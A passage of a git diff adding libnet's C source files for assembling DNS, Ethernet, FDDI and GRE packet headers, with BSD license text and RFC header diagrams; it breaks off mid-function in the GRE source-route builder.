+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#if (!(_WIN32) || (__CYGWIN__))
+#include "../include/libnet.h"
+#else
+#include "../include/win32/libnet.h"
+#endif
+
+
+libnet_ptag_t
+libnet_build_dnsv4(u_int16_t h_len, u_int16_t id, u_int16_t flags,
+ u_int16_t num_q, u_int16_t num_anws_rr, u_int16_t num_auth_rr,
+ u_int16_t num_addi_rr, u_int8_t *payload, u_int32_t payload_s,
+ libnet_t *l, libnet_ptag_t ptag)
+{
+
+ u_int32_t n, h;
+ u_int offset;
+ libnet_pblock_t *p;
+ struct libnet_dnsv4_hdr dns_hdr;
+
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ if (h_len != LIBNET_UDP_DNSV4_H && h_len != LIBNET_TCP_DNSV4_H)
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): invalid header length: %d", __func__, h_len);
+ return (-1);
+ }
+ offset = (h_len == LIBNET_UDP_DNSV4_H ? sizeof(dns_hdr.h_len) : 0);
+ n = h_len + payload_s;
+ h = 0; /* no checksum */
+
+ /*
+ * Find the existing protocol block if a ptag is specified, or create
+ * a new one.
+ */
+ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_DNSV4_H);
+ if (p == NULL)
+ {
+ return (-1);
+ }
+ /*
+ * The sizeof(dns_hdr.h_len) is not counted is the packet size
+ * for TCP packet.
+ * And since this will be ignored for udp packets, let's compute it
+ * anyway.
+ */
+
+ memset(&dns_hdr, 0, sizeof(dns_hdr));
+ dns_hdr.h_len = htons(n - sizeof (dns_hdr.h_len));
+ dns_hdr.id = htons(id);
+ dns_hdr.flags = htons(flags);
+ dns_hdr.num_q = htons(num_q);
+ dns_hdr.num_answ_rr = htons(num_anws_rr);
+ dns_hdr.num_auth_rr = htons(num_auth_rr);
+ dns_hdr.num_addi_rr = htons(num_addi_rr);
+
+ /*
+ * A dirty trick: DNS can be either TCP or UDP based, and depending on
+ * that, the header changes. A 'length' field is present in TCP packets,
+ * but not in UDP packets. As they are the first 2 bytes of the header,
+ * they are skipped if the packet is UDP...
+ */
+ n = libnet_pblock_append(l, p, ((u_int8_t *)&dns_hdr)+ offset, h_len);
+ if (n == -1)
+ {
+ goto bad;
+ }
+
+ if ((payload && !payload_s) || (!payload && payload_s))
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): payload inconsistency\n", __func__);
+ goto bad;
+ }
+
+ if (payload && payload_s)
+ {
+ n = libnet_pblock_append(l, p, payload, payload_s);
+ if (n == -1)
+ {
+ goto bad;
+ }
+ }
+
+ return (ptag ? ptag : libnet_pblock_update(l, p, h, LIBNET_PBLOCK_DNSV4_H));
+bad:
+ libnet_pblock_delete(l, p);
+ return (-1);
+}
+
+/* EOF */
diff --git a/libnet/src/libnet_build_ethernet.c b/libnet/src/libnet_build_ethernet.c
new file mode 100644
index 0000000..c6b4c44
--- /dev/null
+++ b/libnet/src/libnet_build_ethernet.c
@@ -0,0 +1,173 @@
+/*
+ * $Id: libnet_build_ethernet.c,v 1.8 2004/01/03 20:31:01 mike Exp $
+ *
+ * libnet
+ * libnet_build_ethernet.c - ethernet packet assembler
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#if (!(_WIN32) || (__CYGWIN__))
+#include "../include/libnet.h"
+#else
+#include "../include/win32/libnet.h"
+#endif
+
+libnet_ptag_t
+libnet_build_ethernet(u_int8_t *dst, u_int8_t *src, u_int16_t type, u_int8_t *payload,
+ u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)
+{
+ u_int32_t n, h;
+ libnet_pblock_t *p;
+ struct libnet_ethernet_hdr eth_hdr;
+
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ /* sanity check injection type if we're not in advanced mode */
+ if (l->injection_type != LIBNET_LINK &&
+ !(((l->injection_type) & LIBNET_ADV_MASK)))
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): called with non-link layer wire injection primitive",
+ __func__);
+ p = NULL;
+ goto bad;
+ }
+
+ n = LIBNET_ETH_H + payload_s;
+ h = 0;
+
+ /*
+ * Find the existing protocol block if a ptag is specified, or create
+ * a new one.
+ */
+ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_ETH_H);
+ if (p == NULL)
+ {
+ return (-1);
+ }
+
+ memset(&eth_hdr, 0, sizeof(eth_hdr));
+ memcpy(eth_hdr.ether_dhost, dst, ETHER_ADDR_LEN); /* destination address */
+ memcpy(eth_hdr.ether_shost, src, ETHER_ADDR_LEN); /* source address */
+ eth_hdr.ether_type = htons(type); /* packet type */
+
+ n = libnet_pblock_append(l, p, (u_int8_t *)&eth_hdr, LIBNET_ETH_H);
+ if (n == -1)
+ {
+ goto bad;
+ }
+
+ if ((payload && !payload_s) || (!payload && payload_s))
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): payload inconsistency\n", __func__);
+ goto bad;
+ }
+
+ if (payload && payload_s)
+ {
+ n = libnet_pblock_append(l, p, payload, payload_s);
+ if (n == -1)
+ {
+ goto bad;
+ }
+ }
+
+ return (ptag ? ptag : libnet_pblock_update(l, p, h, LIBNET_PBLOCK_ETH_H));
+bad:
+ libnet_pblock_delete(l, p);
+ return (-1);
+}
+
+
+libnet_ptag_t
+libnet_autobuild_ethernet(u_int8_t *dst, u_int16_t type, libnet_t *l)
+{
+ u_int32_t n, h;
+ struct libnet_ether_addr *src;
+ libnet_pblock_t *p;
+ libnet_ptag_t ptag;
+ struct libnet_ethernet_hdr eth_hdr;
+
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ /* sanity check injection type if we're not in advanced mode */
+ if (l->injection_type != LIBNET_LINK &&
+ !(((l->injection_type) & LIBNET_ADV_MASK)))
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "libnet_autobuild_ethernet() called with non-link layer wire"
+ " injection primitive");
+ p = NULL;
+ goto bad;
+ }
+
+ n = LIBNET_ETH_H;
+ h = 0;
+ ptag = LIBNET_PTAG_INITIALIZER;
+ src = libnet_get_hwaddr(l);
+ if (src == NULL)
+ {
+ /* err msg set in libnet_get_hwaddr() */
+ return (-1);
+ }
+
+ /*
+ * Create a new pblock.
+ */
+ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_ETH_H);
+ if (p == NULL)
+ {
+ return (-1);
+ }
+
+ memset(&eth_hdr, 0, sizeof(eth_hdr));
+ memcpy(eth_hdr.ether_dhost, dst, ETHER_ADDR_LEN); /* destination address */
+ memcpy(eth_hdr.ether_shost, src, ETHER_ADDR_LEN); /* source address */
+ eth_hdr.ether_type = htons(type); /* packet type */
+
+ n = libnet_pblock_append(l, p, (u_int8_t *)&eth_hdr, LIBNET_ETH_H);
+ if (n == -1)
+ {
+ goto bad;
+ }
+
+ return (libnet_pblock_update(l, p, h, LIBNET_PBLOCK_ETH_H));
+bad:
+ libnet_pblock_delete(l, p);
+ return (-1);
+}
+/* EOF */
diff --git a/libnet/src/libnet_build_fddi.c b/libnet/src/libnet_build_fddi.c
new file mode 100644
index 0000000..82c8f52
--- /dev/null
+++ b/libnet/src/libnet_build_fddi.c
@@ -0,0 +1,191 @@
+/*
+ * libnet
+ * libnet_build_fddi.c - Fiber Distributed Data Interface packet assembler
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * Jason Damron <jsdamron@hushmail.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#if (!(_WIN32) || (__CYGWIN__))
+#include "../include/libnet.h"
+#else
+#include "../include/win32/libnet.h"
+#endif
+
+libnet_ptag_t
+libnet_build_fddi(u_int8_t fc, u_int8_t *dst, u_int8_t *src, u_int8_t dsap,
+u_int8_t ssap, u_int8_t cf, u_int8_t *org, u_int16_t type, u_int8_t *payload,
+u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)
+{
+ u_int32_t n, h;
+ u_int16_t protocol_type;
+ libnet_pblock_t *p;
+ struct libnet_fddi_hdr fddi_hdr;
+
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ /* sanity check injection type if we're not in advanced mode */
+ if (l->injection_type != LIBNET_LINK &&
+ !(((l->injection_type) & LIBNET_ADV_MASK)))
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): called with non-link layer wire injection primitive",
+ __func__);
+ p = NULL;
+ goto bad;
+ }
+
+ n = LIBNET_FDDI_H + payload_s;
+ h = 0;
+
+ /*
+ * Find the existing protocol block if a ptag is specified, or create
+ * a new one.
+ */
+ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_FDDI_H);
+ if (p == NULL)
+ {
+ return (-1);
+ }
+
+ memset(&fddi_hdr, 0, sizeof(fddi_hdr));
+ fddi_hdr.fddi_frame_control = fc; /* Class/Format/Priority */
+ memcpy(fddi_hdr.fddi_dhost, dst, FDDI_ADDR_LEN); /* dst fddi address */
+ memcpy(fddi_hdr.fddi_shost, src, FDDI_ADDR_LEN); /* source fddi address */
+ fddi_hdr.fddi_llc_dsap = dsap; /* */
+ fddi_hdr.fddi_llc_ssap = ssap; /* */
+ fddi_hdr.fddi_llc_control_field = cf; /* Class/Format/Priority */
+ memcpy(&fddi_hdr.fddi_llc_org_code, org, LIBNET_ORG_CODE_SIZE);
+
+ /* Deal with unaligned int16_t for type */
+ protocol_type = htons(type);
+ memcpy(&fddi_hdr.fddi_type, &protocol_type, sizeof(int16_t)); /* Protocol Type */
+
+ n = libnet_pblock_append(l, p, (u_int8_t *)&fddi_hdr, LIBNET_FDDI_H);
+ if (n == -1)
+ {
+ goto bad;
+ }
+
+ if ((payload && !payload_s) || (!payload && payload_s))
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): payload inconsistency\n", __func__);
+ goto bad;
+ }
+
+ if (payload && payload_s)
+ {
+ n = libnet_pblock_append(l, p, payload, payload_s);
+ if (n == -1)
+ {
+ goto bad;
+ }
+ }
+
+ return (ptag ? ptag : libnet_pblock_update(l, p, h, LIBNET_PBLOCK_FDDI_H));
+bad:
+ libnet_pblock_delete(l, p);
+ return (-1);
+}
+
+
+libnet_ptag_t
+libnet_autobuild_fddi(u_int8_t fc, u_int8_t *dst, u_int8_t dsap, u_int8_t ssap,
+ u_int8_t cf, u_int8_t *org, u_int16_t type, libnet_t *l)
+{
+ u_int32_t n, h;
+ u_int16_t protocol_type;
+ struct libnet_fddi_addr *src;
+ libnet_pblock_t *p;
+ libnet_ptag_t ptag;
+ struct libnet_fddi_hdr fddi_hdr;
+
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ /* sanity check injection type if we're not in advanced mode */
+ if (l->injection_type != LIBNET_LINK &&
+ !(((l->injection_type) & LIBNET_ADV_MASK)))
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): called with non-link layer wire injection primitive",
+ __func__);
+ p = NULL;
+ goto bad;
+ }
+
+ n = LIBNET_FDDI_H;
+ h = 0;
+ ptag = LIBNET_PTAG_INITIALIZER;
+
+ /* FDDI and Ethernet have the same address size - so just typecast */
+ src = (struct libnet_fddi_addr *) libnet_get_hwaddr(l);
+ if (src == NULL)
+ {
+ /* err msg set in libnet_get_hwaddr() */
+ return (-1);
+ }
+
+ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_FDDI_H);
+ if (p == NULL)
+ {
+ return (-1);
+ }
+
+ memset(&fddi_hdr, 0, sizeof(fddi_hdr));
+ fddi_hdr.fddi_frame_control = fc; /* Class/Format/Priority */
+ memcpy(fddi_hdr.fddi_dhost, dst, FDDI_ADDR_LEN); /* destination fddi address */
+ memcpy(fddi_hdr.fddi_shost, src, FDDI_ADDR_LEN); /* source fddi address */
+ fddi_hdr.fddi_llc_dsap = dsap; /* */
+ fddi_hdr.fddi_llc_ssap = ssap; /* */
+ fddi_hdr.fddi_llc_control_field = cf; /* Class/Format/Priority */
+ memcpy(&fddi_hdr.fddi_llc_org_code, org, LIBNET_ORG_CODE_SIZE);
+
+ /* Deal with unaligned int16_t for type */
+ protocol_type = htons(type);
+ memcpy(&fddi_hdr.fddi_type, &protocol_type, sizeof(int16_t)); /* Protocol Type */
+
+ n = libnet_pblock_append(l, p, (u_int8_t *)&fddi_hdr, LIBNET_FDDI_H);
+ if (n == -1)
+ {
+ goto bad;
+ }
+
+ return (libnet_pblock_update(l, p, h, LIBNET_PBLOCK_FDDI_H));
+bad:
+ libnet_pblock_delete(l, p);
+ return (-1);
+}
+/* EOF */
diff --git a/libnet/src/libnet_build_gre.c b/libnet/src/libnet_build_gre.c
new file mode 100644
index 0000000..b7523aa
--- /dev/null
+++ b/libnet/src/libnet_build_gre.c
@@ -0,0 +1,427 @@
+/*
+ * libnet
+ * libnet_build_gre.c - GRE packet assembler
+ *
+ * Copyright (c) 2003 Frédéric Raynal <pappy@security-labs.org>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#if (!(_WIN32) || (__CYGWIN__))
+#include "../include/libnet.h"
+#else
+#include "../include/win32/libnet.h"
+#endif
+
+/*
+ * Overall packet
+ *
+ * The entire encapsulated packet would then have the form:
+ *
+ * ---------------------------------
+ * | |
+ * | Delivery Header |
+ * | |
+ * ---------------------------------
+ * | |
+ * | GRE Header |
+ * | |
+ * ---------------------------------
+ * | |
+ * | Payload packet |
+ * | |
+ * ---------------------------------
+ *
+ * RFC 1701 defines a header.
+ * A new RFC (2784) has changed the header and proposed to remove the key
+ * and seqnum.
+ * A newer RFC (2890) has changed the header proposed in RFC 2784 by putting
+ * back key and seqnum.
+ * These will be supported the day IETF'guys stop this mess !
+ *
+ * FR
+ */
+
+
+/*
+ * Generic Routing Encapsulation (GRE)
+ * RFC 1701 http://www.faqs.org/rfcs/rfc1701.html
+ *
+ *
+ * Packet header
+ *
+ * The GRE packet header has the form:
+ *
+ * 0 1 2 3
+ * 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+ * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+ * |C|R|K|S|s|Recur| Flags | Ver | Protocol Type |
+ * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+ * | Checksum (optional) | Offset (optional) |
+ * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+ * | Key (optional) |
+ * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+ * | Sequence Number (optional) |
+ * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+ * | Routing (optional) |
+ * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+ *
+ * Enhanced GRE header
+ *
+ * See rfc 2637 for details. It is used for PPTP tunneling.
+ *
+ * 0 1 2 3
+ * 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+ * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+ * |C|R|K|S|s|Recur|A| Flags | Ver | Protocol Type |
+ * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+ * | Key (HW) Payload Length | Key (LW) Call ID |
+ * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+ * | Sequence Number (Optional) |
+ * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+ * | Acknowledgment Number (Optional) |
+ * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+ *
+ */
+
+static inline void
+__libnet_print_gre_flags_ver(u_int16_t fv)
+{
+ printf("version = %d (%d) -> ",
+ fv & GRE_VERSION_MASK, libnet_getgre_length(fv));
+ if (fv & GRE_CSUM)
+ {
+ printf("CSUM ");
+ }
+ if (fv & GRE_ROUTING)
+ {
+ printf("ROUTING ");
+ }
+ if (fv & GRE_KEY)
+ {
+ printf("KEY ");
+ }
+ if (fv & GRE_SEQ)
+ {
+ printf("SEQ ");
+ }
+ if (fv & GRE_ACK)
+ {
+ printf("ACK ");
+ }
+ printf("\n");
+}
+
+
+/* FIXME: what is the portability of the "((struct libnet_gre_hdr*)0)->" ? */
+inline u_int32_t
+libnet_getgre_length(u_int16_t fv)
+{
+
+ u_int32_t n = LIBNET_GRE_H;
+ /*
+ * If either the Checksum Present bit or the Routing Present bit are
+ * set, BOTH the Checksum and Offset fields are present in the GRE
+ * packet.
+ */
+
+ if ((!(fv & GRE_VERSION_MASK) && (fv & (GRE_CSUM|GRE_ROUTING))) || /* v0 */
+ (fv & GRE_VERSION_MASK) ) /* v1 */
+ {
+ n += sizeof( ((struct libnet_gre_hdr *)0)->gre_sum) +
+ sizeof( ((struct libnet_gre_hdr *)0)->gre_offset);
+ }
+
+ if ((!(fv & GRE_VERSION_MASK) && (fv & GRE_KEY)) || /* v0 */
+ ( (fv & GRE_VERSION_MASK) && (fv & GRE_SEQ)) ) /* v1 */
+ {
+ n += sizeof( ((struct libnet_gre_hdr *)0)->gre_key);
+ }
+
+ if ((!(fv & GRE_VERSION_MASK) && (fv & GRE_SEQ)) || /* v0 */
+ ( (fv & GRE_VERSION_MASK) && (fv & GRE_ACK)) ) /* v1 */
+ {
+ n += sizeof( ((struct libnet_gre_hdr *)0)->gre_seq );
+ }
+
+ return (n);
+}
+
+libnet_ptag_t
+libnet_build_gre(u_int16_t fv, u_int16_t type, u_int16_t sum,
+u_int16_t offset, u_int32_t key, u_int32_t seq, u_int16_t len,
+u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)
+{
+ u_int32_t n;
+ libnet_pblock_t *p;
+ struct libnet_gre_hdr gre_hdr;
+
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ n = libnet_getgre_length(fv) + payload_s;
+
+ /*
+ * Find the existing protocol block if a ptag is specified, or create
+ * a new one.
+ */
+ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_GRE_H);
+ if (p == NULL)
+ {
+ return (-1);
+ }
+
+ gre_hdr.flags_ver = htons(fv);
+ gre_hdr.type = htons(type);
+ n = libnet_pblock_append(l, p, (u_int8_t *)&gre_hdr, LIBNET_GRE_H);
+ if (n == -1)
+ {
+ /* err msg set in libnet_pblock_append() */
+ goto bad;
+ }
+
+ if ((!(fv & GRE_VERSION_MASK) && (fv & (GRE_CSUM|GRE_ROUTING))) || /* v0 */
+ (fv & GRE_VERSION_MASK)) /* v1 */
+ {
+ sum = htons(sum);
+ n = libnet_pblock_append(l, p, (u_int8_t*)&sum,
+ sizeof(gre_hdr.gre_sum));
+ if (n == -1)
+ {
+ /* err msg set in libnet_pblock_append() */
+ goto bad;
+ }
+ offset = htons(offset);
+ n = libnet_pblock_append(l, p, (u_int8_t*)&offset,
+ sizeof(gre_hdr.gre_offset));
+ if (n == -1)
+ {
+ /* err msg set in libnet_pblock_append() */
+ goto bad;
+ }
+ }
+
+ if ((!(fv & GRE_VERSION_MASK) && (fv & GRE_KEY)) || /* v0 */
+ ( (fv & GRE_VERSION_MASK) && (fv & GRE_SEQ)) ) /* v1 */
+ {
+ key = htonl(key);
+ n = libnet_pblock_append(l, p, (u_int8_t*)&key,
+ sizeof(gre_hdr.gre_key));
+ if (n == -1)
+ {
+ /* err msg set in libnet_pblock_append() */
+ goto bad;
+ }
+ }
+
+ if ((!(fv & GRE_VERSION_MASK) && (fv & GRE_SEQ)) || /* v0 */
+ ( (fv & GRE_VERSION_MASK) && (fv & GRE_ACK)) ) /* v1 */
+ {
+ seq = htonl(seq);
+ n = libnet_pblock_append(l, p, (u_int8_t*)&seq,
+ sizeof(gre_hdr.gre_seq));
+ if (n == -1)
+ {
+ /* err msg set in libnet_pblock_append() */
+ goto bad;
+ }
+ }
+
+ if ((payload && !payload_s) || (!payload && payload_s))
+ {
+ sprintf(l->err_buf, "%s(): payload inconsistency\n", __func__);
+ goto bad;
+ }
+
+ if (payload && payload_s)
+ {
+ n = libnet_pblock_append(l, p, payload, payload_s);
+ if (n == -1)
+ {
+ /* err msg set in libnet_pblock_append() */
+ goto bad;
+ }
+ }
+
+ if ( (fv & GRE_CSUM) && (!sum) )
+ {
+ libnet_pblock_setflags(p, LIBNET_PBLOCK_DO_CHECKSUM);
+ }
+
+ return (ptag ? ptag : libnet_pblock_update(l, p, len, LIBNET_PBLOCK_GRE_H));
+
+bad:
+ libnet_pblock_delete(l, p);
+ return (-1);
+}
+
+libnet_ptag_t
+libnet_build_egre(u_int16_t fv, u_int16_t type, u_int16_t sum,
+u_int16_t offset, u_int32_t key, u_int32_t seq, u_int16_t len,
+u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)
+{
+ return (libnet_build_gre(fv, type, sum, offset, key, seq, len,
+ payload, payload_s, l, ptag));
+}
+
+/*
+ * Routing (variable)
+ *
+ * The Routing field is optional and is present only if the Routing
+ * Present bit is set to 1.
+ *
+ * The Routing field is a list of Source Route Entries (SREs). Each
+ * SRE has the form:
+ *
+ * 0 1 2 3
+ * 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+ * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+ * | Address Family | SRE Offset | SRE Length |
+ * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+ * | Routing Information ...
+ * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+ *
+ */
+libnet_ptag_t
+libnet_build_gre_sre(u_int16_t af, u_int8_t offset, u_int8_t length,
+u_int8_t *routing, u_int8_t *payload, u_int32_t payload_s, libnet_t *l,
+libnet_ptag_t ptag)
+{
+ u_int32_t n;
+ libnet_pblock_t *p;
+ struct libnet_gre_sre_hdr sre_hdr;
+
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ n = LIBNET_GRE_SRE_H + length + payload_s;
+
+ /*
+ * Find the existing protocol block if a ptag is specified, or create
+ * a new one.
+ */
+ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_GRE_SRE_H);
+ if (p == NULL)
+ {
+ return (-1);
+ }
+ sre_hdr.af = htons(af);
+ sre_hdr.sre_offset = offset;
+ sre_hdr.sre_length = length;
+ n = libnet_pblock_append(l, p, (u_int8_t *)&sre_hdr, LIBNET_GRE_SRE_H);
+ if (n == -1)
+ {
+ /* err msg set in libnet_pblock_append() */
+ goto bad;
+ }
+
+ if ((routing && !length) || (!routing && length))
+ {
+ sprintf(l->err_buf, "%s(): routing inconsistency\n", __func__);
+ goto bad;
+ }
+
+ if (routing && length)
+ {
+ n = libnet_pblock_append(l, p, routing, length);
+ if (n == -1)
+ {
+ /* err msg set in libnet_pblock_append() */
+ goto bad;
+ }
+ }
+
+ if ((payload && !payload_s) || (!payload && payload_s))
+ {
+ sprintf(l->err_buf, "%s(): payload inconsistency\n", __func__);
+ goto bad;
+ }
+
+ if (payload && payload_s)
+ {
+ n = libnet_pblock_append(l, p, payload, payload_s);
+ if (n == -1)
+ {
+ /* err msg set in libnet_pblock_append() */
+ goto bad;
+ }
+ }
+
+ return (ptag ? ptag : libnet_pblock_update(l, p, 0,
+ LIBNET_PBLOCK_GRE_SRE_H));
+
+bad:
